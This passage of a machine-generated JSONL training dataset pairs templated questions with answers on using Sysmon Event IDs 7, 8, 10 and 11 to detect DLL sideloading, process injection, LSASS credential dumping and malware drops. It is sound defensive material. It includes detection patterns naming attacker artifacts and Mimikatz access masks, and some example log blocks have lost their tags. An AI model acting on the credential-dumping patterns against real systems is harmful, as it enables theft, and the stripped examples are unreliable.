"retrieved_at": "2025-12-18T00:11:32.010763Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010860Z", "updated_at": "2025-12-18T00:11:32.010860Z"} +{"id": "trtp-9e6e367eb846", "instruction": "How can Sysmon help identify malicious activity?", "output": "Using Sysmon for threat detection:\n\nSysmon Event ID 7 logs when a module (DLL) is loaded into a process. Useful for detecting DLL injection, DLL sideloading, and malicious library loading.\n\nExample:\n```\n\n C:\\Windows\\System32\\notepad.exe\n C:\\Users\\Public\\evil.dll\n false\n Unavailable\n\n```\n\nTips:\n- Very noisy - filter to specific paths or unsigned DLLs\n- Watch for DLLs loaded from user-writable paths", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-7---image-loaded", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010763Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010873Z", "updated_at": "2025-12-18T00:11:32.010873Z"} +{"id": "trtp-2dd340f1f1e5", "instruction": "How do forensic investigators use Sysmon?", "output": "Forensic analysis with Sysmon:\n\nSysmon Event ID 7 logs when a module (DLL) is loaded into a process. Useful for detecting DLL injection, DLL sideloading, and malicious library loading.\n\nForensic applications:\n- Detect DLL injection\n- Identify unsigned DLLs\n- Track DLL sideloading\n\nWhat to look for: Key fields: Image (host process), ImageLoaded (DLL path), Signed, SignatureStatus, Hashes", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-7---image-loaded", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010763Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010886Z", "updated_at": "2025-12-18T00:11:32.010886Z"} +{"id": "trtp-fa5d657aa190", "instruction": "What's the process for analyzing data with Sysmon?", "output": "Workflow for Event ID 7 - Image Loaded:\n\n1. Understand the context: Sysmon Event ID 7 logs when a module (DLL) is loaded into a process. Useful for detecting DLL injection, DLL sideloading, and malicious library loading.\n\n2. Apply the tool:\n```\n\n C:\\Windows\\System32\\notepad.exe\n C:\\Users\\Public\\evil.dll\n false\n Unavailable\n\n```\n\n3. Common scenarios: Detect DLL injection, Identify unsigned DLLs, Track DLL sideloading\n\n4. Best practices:\n - Very noisy - filter to specific paths or unsigned DLLs\n - Watch for DLLs loaded from user-writable paths", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-7---image-loaded", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010763Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010900Z", "updated_at": "2025-12-18T00:11:32.010900Z"} +{"id": "trtp-91da61146bb8", "instruction": "When should I use Sysmon versus other similar tools?", "output": "Advantages of Sysmon:\n\nSysmon Event ID 7 logs when a module (DLL) is loaded into a process. Useful for detecting DLL injection, DLL sideloading, and malicious library loading.\n\nBest suited for:\n- Detect DLL injection\n- Identify unsigned DLLs\n- Track DLL sideloading\n- Monitor reflective loading\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-7---image-loaded", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010763Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010914Z", "updated_at": "2025-12-18T00:11:32.010914Z"} +{"id": "trtp-2cee831dda1d", "instruction": "How does Sysmon integrate with other security tools?", "output": "Integration points for Sysmon:\n\nSysmon Event ID 7 logs when a module (DLL) is loaded into a process. Useful for detecting DLL injection, DLL sideloading, and malicious library loading.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-7---image-loaded", "license": "original", "retrieved_at": "2025-12-18T00:11:32.010763Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.010928Z", "updated_at": "2025-12-18T00:11:32.010928Z"} +{"id": "trtp-93db8e206ec2", "instruction": "What is Sysmon and how is it used in security?", "output": "Event ID 8 - CreateRemoteThread\n\nSysmon Event ID 8 logs when a process creates a thread in another process. This is a common technique for code injection and is rarely used legitimately.\n\nPlatform: windows\n\nCommon uses:\n- Detect process injection\n- Identify shellcode injection\n- Monitor for credential dumping tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-8---createremotethread", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011149Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011172Z", "updated_at": "2025-12-18T00:11:32.011172Z"} +{"id": "trtp-d92c6a555281", "instruction": "Show me the basic syntax for Sysmon.", "output": "Syntax for Sysmon:\n\nEventID=8\n\nSysmon Event ID 8 logs when a process creates a thread in another process. This is a common technique for code injection and is rarely used legitimately.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-8---createremotethread", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011149Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011186Z", "updated_at": "2025-12-18T00:11:32.011186Z"} +{"id": "trtp-424904732a76", "instruction": "Provide an example of using Sysmon.", "output": "Example of Event ID 8 - CreateRemoteThread:\n\n```\n\n C:\\Users\\attacker\\malware.exe\n C:\\Windows\\System32\\svchost.exe\n 0x00007FFE12340000\n\n```\n\nInterpretation: Key fields: SourceImage (injecting process), TargetImage (target process), StartAddress (thread entry point)", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-8---createremotethread", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011149Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011198Z", "updated_at": "2025-12-18T00:11:32.011198Z"} +{"id": "trtp-e55643d16274", "instruction": "Provide an example of using Sysmon.", "output": "Here is a practical example of Sysmon:\n\n```\n\n C:\\Users\\attacker\\malware.exe\n C:\\Windows\\System32\\svchost.exe\n 0x00007FFE12340000\n\n```\n\nSysmon Event ID 8 logs when a process creates a thread in another process. This is a common technique for code injection and is rarely used legitimately.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-8---createremotethread", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011149Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011209Z", "updated_at": "2025-12-18T00:11:32.011209Z"} +{"id": "trtp-e888d974f6e6", "instruction": "What security tasks can I accomplish with Sysmon?", "output": "Use cases for Sysmon:\n\n- Detect process injection\n- Identify shellcode injection\n- Monitor for credential dumping tools\n\nSysmon Event ID 8 logs when a process creates a thread in another process. This is a common technique for code injection and is rarely used legitimately.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-8---createremotethread", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011149Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011220Z", "updated_at": "2025-12-18T00:11:32.011220Z"} +{"id": "trtp-8b6df68aa531", "instruction": "Explain the output of Sysmon.", "output": "Interpreting Sysmon output:\n\nKey fields: SourceImage (injecting process), TargetImage (target process), StartAddress (thread entry point)\n\nExample output:\n```\n\n C:\\Users\\attacker\\malware.exe\n C:\\Windows\\System32\\svchost.exe\n 0x00007FFE12340000\n\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-8---createremotethread", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011149Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011231Z", "updated_at": "2025-12-18T00:11:32.011231Z"} +{"id": "trtp-591b31971958", "instruction": "What are common tips for Sysmon?", "output": "Tips for using Sysmon:\n\n- High-fidelity alert - rarely legitimate\n- Common in Mimikatz, Cobalt Strike\n- Cross-reference with Event ID 10\n\nUseful for: Detect process injection, Identify shellcode injection, Monitor for credential dumping tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-8---createremotethread", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011149Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011243Z", "updated_at": "2025-12-18T00:11:32.011243Z"} +{"id": "trtp-739a920e7fde", "instruction": "What indicators does Sysmon help identify?", "output": "Using Sysmon for threat detection:\n\nSysmon Event ID 8 logs when a process creates a thread in another process. This is a common technique for code injection and is rarely used legitimately.\n\nExample:\n```\n\n C:\\Users\\attacker\\malware.exe\n C:\\Windows\\System32\\svchost.exe\n 0x00007FFE12340000\n\n```\n\nTips:\n- High-fidelity alert - rarely legitimate\n- Common in Mimikatz, Cobalt Strike", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-8---createremotethread", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011149Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011257Z", "updated_at": "2025-12-18T00:11:32.011257Z"} +{"id": "trtp-9df50688afe2", "instruction": "How do forensic investigators use Sysmon?", "output": "Forensic analysis with Sysmon:\n\nSysmon Event ID 8 logs when a process creates a thread in another process. This is a common technique for code injection and is rarely used legitimately.\n\nForensic applications:\n- Detect process injection\n- Identify shellcode injection\n- Monitor for credential dumping tools\n\nWhat to look for: Key fields: SourceImage (injecting process), TargetImage (target process), StartAddress (thread entry point)", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-8---createremotethread", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011149Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011270Z", "updated_at": "2025-12-18T00:11:32.011270Z"} +{"id": "trtp-a251fd15e934", "instruction": "What's the process for analyzing data with Sysmon?", "output": "Workflow for Event ID 8 - CreateRemoteThread:\n\n1. Understand the context: Sysmon Event ID 8 logs when a process creates a thread in another process. This is a common technique for code injection and is rarely used legitimately.\n\n2. Apply the tool:\n```\n\n C:\\Users\\attacker\\malware.exe\n C:\\Windows\\System32\\svchost.exe\n 0x00007FFE12340000\n\n```\n\n3. Common scenarios: Detect process injection, Identify shellcode injection, Monitor for credential dumping tools\n\n4. Best practices:\n - High-fidelity alert - rarely legitimate\n - Common in Mimikatz, Cobalt Strike", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-8---createremotethread", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011149Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011284Z", "updated_at": "2025-12-18T00:11:32.011284Z"} +{"id": "trtp-27e5f093b136", "instruction": "What are the advantages of Sysmon for security analysis?", "output": "Advantages of Sysmon:\n\nSysmon Event ID 8 logs when a process creates a thread in another process. This is a common technique for code injection and is rarely used legitimately.\n\nBest suited for:\n- Detect process injection\n- Identify shellcode injection\n- Monitor for credential dumping tools\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-8---createremotethread", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011149Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011298Z", "updated_at": "2025-12-18T00:11:32.011298Z"} +{"id": "trtp-c1565ff02e74", "instruction": "How do I use Sysmon alongside other tools in my toolkit?", "output": "Integration points for Sysmon:\n\nSysmon Event ID 8 logs when a process creates a thread in another process. This is a common technique for code injection and is rarely used legitimately.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-8---createremotethread", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011149Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011312Z", "updated_at": "2025-12-18T00:11:32.011312Z"} +{"id": "trtp-f2b8d48f3d96", "instruction": "Explain Sysmon for security professionals.", "output": "Event ID 10 - ProcessAccess\n\nSysmon Event ID 10 logs when a process opens another process with certain access rights. Critical for detecting credential dumping (LSASS access) and process injection attempts.\n\nPlatform: windows\n\nCommon uses:\n- Detect LSASS credential dumping\n- Identify process injection attempts\n- Monitor suspicious process access", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-10---processaccess", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011516Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011540Z", "updated_at": "2025-12-18T00:11:32.011540Z"} +{"id": "trtp-fd7bde02e9f0", "instruction": "What command or query syntax does Sysmon use?", "output": "Syntax for Sysmon:\n\nEventID=10\n\nSysmon Event ID 10 logs when a process opens another process with certain access rights. Critical for detecting credential dumping (LSASS access) and process injection attempts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-10---processaccess", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011516Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011554Z", "updated_at": "2025-12-18T00:11:32.011554Z"} +{"id": "trtp-6decd3cf4fb2", "instruction": "Provide an example of using Sysmon.", "output": "Example of Event ID 10 - ProcessAccess:\n\n```\n\n C:\\Windows\\Temp\\procdump.exe\n C:\\Windows\\System32\\lsass.exe\n 0x1fffff\n\n```\n\nInterpretation: Key fields: SourceImage (accessing process), TargetImage (accessed process), GrantedAccess (access mask)", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-10---processaccess", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011516Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011566Z", "updated_at": "2025-12-18T00:11:32.011566Z"} +{"id": "trtp-06eb513b3cc9", "instruction": "What are the use cases for Sysmon?", "output": "Use cases for Sysmon:\n\n- Detect LSASS credential dumping\n- Identify process injection attempts\n- Monitor suspicious process access\n\nSysmon Event ID 10 logs when a process opens another process with certain access rights. Critical for detecting credential dumping (LSASS access) and process injection attempts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-10---processaccess", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011516Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011577Z", "updated_at": "2025-12-18T00:11:32.011577Z"} +{"id": "trtp-fdc5ca35f5bb", "instruction": "How do I read Sysmon output?", "output": "Interpreting Sysmon output:\n\nKey fields: SourceImage (accessing process), TargetImage (accessed process), GrantedAccess (access mask)\n\nExample output:\n```\n\n C:\\Windows\\Temp\\procdump.exe\n C:\\Windows\\System32\\lsass.exe\n 0x1fffff\n\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-10---processaccess", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011516Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011588Z", "updated_at": "2025-12-18T00:11:32.011588Z"} +{"id": "trtp-00c27f610798", "instruction": "What best practices should I follow when using Sysmon?", "output": "Tips for using Sysmon:\n\n- Focus on lsass.exe access\n- 0x1fffff = PROCESS_ALL_ACCESS\n- 0x1010 = common for Mimikatz\n\nUseful for: Detect LSASS credential dumping, Identify process injection attempts, Monitor suspicious process access", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-10---processaccess", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011516Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011601Z", "updated_at": "2025-12-18T00:11:32.011601Z"} +{"id": "trtp-9a8edf2983ab", "instruction": "What should I look for when using Sysmon for incident response?", "output": "Using Sysmon for threat detection:\n\nSysmon Event ID 10 logs when a process opens another process with certain access rights. Critical for detecting credential dumping (LSASS access) and process injection attempts.\n\nExample:\n```\n\n C:\\Windows\\Temp\\procdump.exe\n C:\\Windows\\System32\\lsass.exe\n 0x1fffff\n\n```\n\nTips:\n- Focus on lsass.exe access\n- 0x1fffff = PROCESS_ALL_ACCESS", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-10---processaccess", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011516Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011614Z", "updated_at": "2025-12-18T00:11:32.011614Z"} +{"id": "trtp-095b84c725f9", "instruction": "How do I use Sysmon for forensic analysis?", "output": "Forensic analysis with Sysmon:\n\nSysmon Event ID 10 logs when a process opens another process with certain access rights. Critical for detecting credential dumping (LSASS access) and process injection attempts.\n\nForensic applications:\n- Detect LSASS credential dumping\n- Identify process injection attempts\n- Monitor suspicious process access\n\nWhat to look for: Key fields: SourceImage (accessing process), TargetImage (accessed process), GrantedAccess (access mask)", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-10---processaccess", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011516Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011627Z", "updated_at": "2025-12-18T00:11:32.011627Z"} +{"id": "trtp-c1dcfb5daa57", "instruction": "What is the typical workflow for using Sysmon?", "output": "Workflow for Event ID 10 - ProcessAccess:\n\n1. Understand the context: Sysmon Event ID 10 logs when a process opens another process with certain access rights. Critical for detecting credential dumping (LSASS access) and process injection attempts.\n\n2. Apply the tool:\n```\n\n C:\\Windows\\Temp\\procdump.exe\n C:\\Windows\\System32\\lsass.exe\n 0x1fffff\n\n```\n\n3. Common scenarios: Detect LSASS credential dumping, Identify process injection attempts, Monitor suspicious process access\n\n4. Best practices:\n - Focus on lsass.exe access\n - 0x1fffff = PROCESS_ALL_ACCESS", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-10---processaccess", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011516Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011642Z", "updated_at": "2025-12-18T00:11:32.011642Z"} +{"id": "trtp-c34170a76e5e", "instruction": "What are the advantages of Sysmon for security analysis?", "output": "Advantages of Sysmon:\n\nSysmon Event ID 10 logs when a process opens another process with certain access rights. Critical for detecting credential dumping (LSASS access) and process injection attempts.\n\nBest suited for:\n- Detect LSASS credential dumping\n- Identify process injection attempts\n- Monitor suspicious process access\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-10---processaccess", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011516Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011655Z", "updated_at": "2025-12-18T00:11:32.011655Z"} +{"id": "trtp-eaffe39c6aeb", "instruction": "How does Sysmon integrate with other security tools?", "output": "Integration points for Sysmon:\n\nSysmon Event ID 10 logs when a process opens another process with certain access rights. Critical for detecting credential dumping (LSASS access) and process injection attempts.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-10---processaccess", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011516Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011669Z", "updated_at": "2025-12-18T00:11:32.011669Z"} +{"id": "trtp-9b0e9d010955", "instruction": "What is Sysmon and how is it used in security?", "output": "Event ID 11 - FileCreate\n\nSysmon Event ID 11 logs file creation events. Useful for tracking malware drops, staging files, and persistence mechanisms.\n\nPlatform: windows\n\nCommon uses:\n- Track malware drops\n- Monitor startup folder changes\n- Detect web shell creation\n- Watch scheduled task creation", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-11---filecreate", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011880Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011903Z", "updated_at": "2025-12-18T00:11:32.011903Z"} +{"id": "trtp-9a32fa49f0dd", "instruction": "What command or query syntax does Sysmon use?", "output": "Syntax for Sysmon:\n\nEventID=11\n\nSysmon Event ID 11 logs file creation events. Useful for tracking malware drops, staging files, and persistence mechanisms.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-11---filecreate", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011880Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011916Z", "updated_at": "2025-12-18T00:11:32.011916Z"} +{"id": "trtp-efd203c168de", "instruction": "Show me an example of Sysmon in action.", "output": "Example of Event ID 11 - FileCreate:\n\n```\n\n C:\\Windows\\System32\\powershell.exe\n C:\\Users\\Public\\payload.exe\n\n```\n\nInterpretation: Key fields: Image (creating process), TargetFilename (created file path)", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-11---filecreate", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011880Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011928Z", "updated_at": "2025-12-18T00:11:32.011928Z"} +{"id": "trtp-addde01730ed", "instruction": "In what scenarios is Sysmon useful?", "output": "Use cases for Sysmon:\n\n- Track malware drops\n- Monitor startup folder changes\n- Detect web shell creation\n- Watch scheduled task creation\n\nSysmon Event ID 11 logs file creation events. Useful for tracking malware drops, staging files, and persistence mechanisms.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-11---filecreate", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011880Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011940Z", "updated_at": "2025-12-18T00:11:32.011940Z"} +{"id": "trtp-527a7dd691c2", "instruction": "How do I interpret Sysmon output?", "output": "Interpreting Sysmon output:\n\nKey fields: Image (creating process), TargetFilename (created file path)\n\nExample output:\n```\n\n C:\\Windows\\System32\\powershell.exe\n C:\\Users\\Public\\payload.exe\n\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-11---filecreate", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011880Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011951Z", "updated_at": "2025-12-18T00:11:32.011951Z"} +{"id": "trtp-596f966c658f", "instruction": "How can I get the most out of Sysmon?", "output": "Tips for using Sysmon:\n\n- Filter to high-risk locations\n- Watch for executables in user-writable paths\n- Monitor web root directories\n\nUseful for: Track malware drops, Monitor startup folder changes, Detect web shell creation", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-11---filecreate", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011880Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011963Z", "updated_at": "2025-12-18T00:11:32.011963Z"} +{"id": "trtp-38c677d38737", "instruction": "What indicators does Sysmon help identify?", "output": "Using Sysmon for threat detection:\n\nSysmon Event ID 11 logs file creation events. Useful for tracking malware drops, staging files, and persistence mechanisms.\n\nExample:\n```\n\n C:\\Windows\\System32\\powershell.exe\n C:\\Users\\Public\\payload.exe\n\n```\n\nTips:\n- Filter to high-risk locations\n- Watch for executables in user-writable paths", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-11---filecreate", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011880Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011977Z", "updated_at": "2025-12-18T00:11:32.011977Z"} +{"id": "trtp-60e5c38a77c6", "instruction": "What artifacts does Sysmon analyze?", "output": "Forensic analysis with Sysmon:\n\nSysmon Event ID 11 logs file creation events. Useful for tracking malware drops, staging files, and persistence mechanisms.\n\nForensic applications:\n- Track malware drops\n- Monitor startup folder changes\n- Detect web shell creation\n\nWhat to look for: Key fields: Image (creating process), TargetFilename (created file path)", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-11---filecreate", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011880Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.011989Z", "updated_at": "2025-12-18T00:11:32.011989Z"} +{"id": "trtp-c1d7bbff6694", "instruction": "What is the typical workflow for using Sysmon?", "output": "Workflow for Event ID 11 - FileCreate:\n\n1. Understand the context: Sysmon Event ID 11 logs file creation events. Useful for tracking malware drops, staging files, and persistence mechanisms.\n\n2. Apply the tool:\n```\n\n C:\\Windows\\System32\\powershell.exe\n C:\\Users\\Public\\payload.exe\n\n```\n\n3. Common scenarios: Track malware drops, Monitor startup folder changes, Detect web shell creation\n\n4. Best practices:\n - Filter to high-risk locations\n - Watch for executables in user-writable paths", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": 